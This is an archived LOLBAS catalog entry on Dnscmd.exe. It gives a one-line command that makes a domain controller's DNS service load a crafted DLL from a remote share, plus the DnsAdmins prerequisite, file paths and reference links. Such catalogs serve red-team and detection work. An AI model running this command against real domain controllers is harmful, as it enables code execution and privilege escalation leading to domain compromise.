LOLBAS/Archive-Old-Version/OSBinaries/Dnscmd.exe.md

Dnscmd.exe

• Functions: Execute

dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
Adds a specially crafted DLL as a plug-in of the DNS Service.

• Resources:

  • https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
  • https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
  • https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
  • https://twitter.com/Hexacorn/status/994000792628719618
  • http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

• Full path:

  • c:\windows\system32\Dnscmd.exe
  • c:\windows\sysWOW64\Dnscmd.exe

• Notes: This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the refference links for DLL details. Thanks to Shay Ber - ?, Dimitrios Slamaris - @dim0x69, Nikhil SamratAshok, Mittal - @nikhil_mitt